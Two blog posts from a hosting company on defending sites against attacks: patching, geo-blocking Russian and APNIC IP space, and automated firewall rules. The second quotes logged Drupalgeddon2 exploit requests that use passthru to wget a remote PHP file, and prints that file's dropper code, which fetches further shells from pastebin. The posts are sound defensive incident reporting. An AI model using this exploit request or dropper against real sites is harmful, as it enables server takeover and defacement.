I hear you knockin’ but you can’t come in.

I hear you knockin' but you can't come in.
I hear you knockin’ but you can’t come in.

 

State-Sponsored hacking (in the case of this article, we’re talking Russian attackers).  Regardless of your political views, this is happening.  Has been for a long time.  But not at the rates and frequency as seen in recent months.

At Node-Nine, we’ve very clearly seen a marked uptick in attempted website intrusions sourcing directly from Russian IP Space.

While it is trivially simple to obfuscate a source IP, if you happen to live in a country that turns a blind eye to computer attacks aimed at national adversaries, why even bother trying to hide.  There’s no need to even burden yourselves with using TOR, VPN services, open proxies, proxy-chaining, fully spoofed Source Addresses, hijacked BGP routes, router reflections, etc when the leadership of the country won’t prosecute you for hacking ‘the enemy’ or even acknowledge international extradition requests… there’s just no point in wasting time trying to hide.

While securing websites against the myriad angles of compromise is a complex task, there are a couple simple steps that can be taken to at least raise the bar above the most common script-kiddie level nonsense that is most prevalent.

  •  Staying Current with Patching

Modern CMS (Content Management Systems) such as Drupal and WordPress offer some pretty solid mechanisms to keep sites and their components up to date with security and stability patches.  There are even CLI tools such as ‘drush’ and ‘wp’ that even allow these operations to be automated.

At Node-Nine, all of our CMS installations not only receive constant proactive monitoring and reporting for any updates that are available, but also automatically have these patches applied on a scheduled routine, lessening the burden of even having to take action when updates get published.

  • Firewall filtering

Using filter mechanisms as common and simple as iptables can have a significant impact on preventing malicious connections from even reaching your resources in the first place. While firewalls can sometimes be mistakenly seen as ‘silver-bullet’ protection (they’re NOT by the way!!), by preventing known bad sources from even reaching your systems, you drastically reduce the attack volume.

At Node-Nine, we have taken the stance of monitoring for bad actor source addresses to reach our own thresholds of ‘offensiveness’ and then have taken action to outright drop connectivity for entire IP blocks, countries, and even entire global regions. While we are staunch supporters of the concept of Internet “openness”, we also deeply understand the legitimate reasons to filter bad actors. In layman’s terms, if you repeatedly keep trying to break in, you’re not welcome.

For example, following a detailed analysis of repeated SPAM content sources and break-in attempts, coupled with where we expect valid content to ever source from, our mailer systems have all been configured to just flat-out drop any connectivity at all to APNIC IP Space. While at first pass this may feel offensive on various levels, since applying this policy to all our resources, we have seen inbound SPAM reduced by over 80%. We have also seen things such as ssh brute-force scripts reduced by over 60%.

We have unfortunately also decided that Russian IP space has required a similar response. In recent months (mid 2018), we have seen significant levels of attempted website and other service penetrations originating directly from Russian IP Space heighten well beyond our defined thresholds. Based on GeoIP data sources, we have flat-out dropped any and all traffic from Russian IP space. In order to keep tabs on continued activity however, we also log continued connection attempts from these netblocks.

While we will not go into detail here about what firewalls CANNOT protect against, especially in complex web environments, it is important to note that following defense in depth procedures such as even these basic filters helps reduce the attack footprint and volume of traffic you really don’t want anyway.

  • Monitored Logging with Automated Actions

Another defense-in-depth mechanism we employ involves triggered actions based on logged activity. While the country and region-wide filters drastically reduce the “noise-floor” of junk attack traffic, we also want to be able to defend against connections coming from places outside these regions, which will then also include filtering anyone using IP obfuscation methods like mentioned above. Even if a Russian hacker were to try attacking via a VPN service, we would STILL drop their connection based on automated firewalling when we detect break-in attempts.

Try and brute force into a Node-Nine hosted WordPress site from Russia, you’re already blocked outright, but try the same brute force and appear to be sourcing your connection from say, the US, or Poland, or anyplace else on earth, as soon as the attack is detected, the source address(es) gets automatically added to our global network of filters so the bad actor gets no further then the first handful of packets. We distribute these dynamic filters to all Node-Nine resources, so even the very first offense will get the attacker blocked across everything we do.

 

This is just the tip of the iceberg of our approach to providing Secure and Reliable services to our customers. Defense-in-depth is the optimal means to defend against the ever evolving landscape of attacks thriving on the Internet. If other providers and operators followed similar common-sense methodologies, the ‘net would be a much tamer and safer place to be. Until then though, Node-Nine will continue to strive to lead by example and not only benefit our customers and clients but also help make the Internet a little bit safer – site by site, host by host, service by service.

 

 

Drupalgeddon2 – how we survived automatically

At Node-Nine, we LOVE automation.  That’s what computers actually DO best… if you know how to teach them what to do.  In this post, we discuss the benefits to having automation in place for various tasks, such as keeping software patched as well as dynamically applying firewall rules based on certain event conditions.

Starting April 24th 2018, ( [24/Apr/2018:17:25:34 -0700] to be exact), we started seeing some interesting new logs showing up for some sites we host.

[24/Apr/2018:17:25:34 -0700] "POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=wget+https%3A%2F%2Fpastebin.com%2Fraw%2FtBqLLGbw+-O+spy0x.php HTTP/1.1" 301 883 "-" "python-requests/2.18.4"
[24/Apr/2018:17:25:48 -0700] "GET /?q=user%252Fpassword&name%255B%2523post_render%255D%255B%255D=passthru&name%255B%2523type%255D=markup&name%255B%2523markup%255D=wget+https%253A%252F%252Fpastebin.com%252Fraw%252FtBqLLGbw+-O+spy0x.php HTTP/1.1" 404 11188 "-" "python-requests/2.18.4"

Normally we just see boring script-kiddie stuff like repeated requests for things wp-login.php… but this HTTP dialog caught our eye.

Seems that requests were coming in and referencing some external content hosted on pastebin.com.  A quick decode gave us the URL being referenced.

https://pastebin.com/raw/tBqLLGbw

Checking the pastebin content, we found the following.

<?php
echo "Mister Spy Rce Shell";

    $htaccess = "https://pastebin.com/raw/r659jHVS";
    $file = file_get_contents($htaccess);
    $open = fopen("def.php" , 'w');
    fwrite($open,$file);
    fclose($open);

    $cgi = "https://pastebin.com/raw/A9yeF55J";
    $file = file_get_contents($cgi);
    $open = fopen("p34ky1337.php" , 'w');
    fwrite($open,$file);
    fclose($open);
    
    $htaccess = "https://pastebin.com/raw/8HBFJYd5";
    $file = file_get_contents($htaccess);
    $open = fopen("home.php" , 'w');
    fwrite($open,$file);
    fclose($open);

    $cgi = "https://pastebin.com/raw/eEngaWDu";
    $file = file_get_contents($cgi);
    $open = fopen("r33t.php" , 'w');
    fwrite($open,$file);
    fclose($open);

?>

This only intrigued us more.

Some light reading found that there’s a new Drupal vulnerability that seems to have surfaced in recent weeks.

https://www.volexity.com/blog/tag/drupalgeddon2/

sa-core-2018-002

CVE-2018-7600

Based on Volexity’s reporting, unpatched Drupal instances all across the web are being both defaced as well as being used for crypto-mining.  Neat.

Anyway, not wanting our hosted clients to have their pages defaced or used for inappropriate purposes, we already have measures in place that keep our customer CMS sites automatically patched and up to date.  So the fact that a fix for this bug was released weeks ago, we had already patched for this the day the patch was released.  Automation for the win!  We also have active Nagios checks in place to alert on any updates that are pending or need reviewed for these CMS suites, so we were well aware of the released updates as well as the fact that patching had successfully been applied.  More automation for the win.

And the last component, since we don’t want to fully rely on just the patches as the only level of defense, we also have a system in place to automatically block traffic that matches certain ‘violation’ conditions.  This triggers whenever a log matches one of these conditions and then dynamically applies a filter across all of our systems to drop the offending source address(es) right on their butt.  This way bad-actors get filtered from all of our resources.  No point in accepting any traffic from systems attempting known attacks.

While this does require a quick edit to add in any new patterns, once applied, our ‘shields’ system takes over as a second level of protection above and beyond these sites already having been patched.

The funniest bit about this component is in the patterns that we’re able to use to add to this system.  The first couple attempts at these hacks were using the user-agent string of ‘python-requests/2.18.4’.   Future requests though have been updated to literally announce ‘drupalgeddon2’ as their user-agent string… so the burglar is literally knocking on the door and saying “hello, I’m a burglar, may I come in”.  So the script kiddies using this tool aren’t even trying to hide what they’re up to.

158.69.133.31 - - [25/Apr/2018:08:08:10 -0700] "POST /CHANGELOG.txt HTTP/1.1" 404 56618 "-" "drupalgeddon2"

So hats off to whomever wrote the drupalgeddon2 code.  Thanks for adding in that massive pirate-flag you’re flying, announcing your presence.  Sure makes preventing your code that much simpler.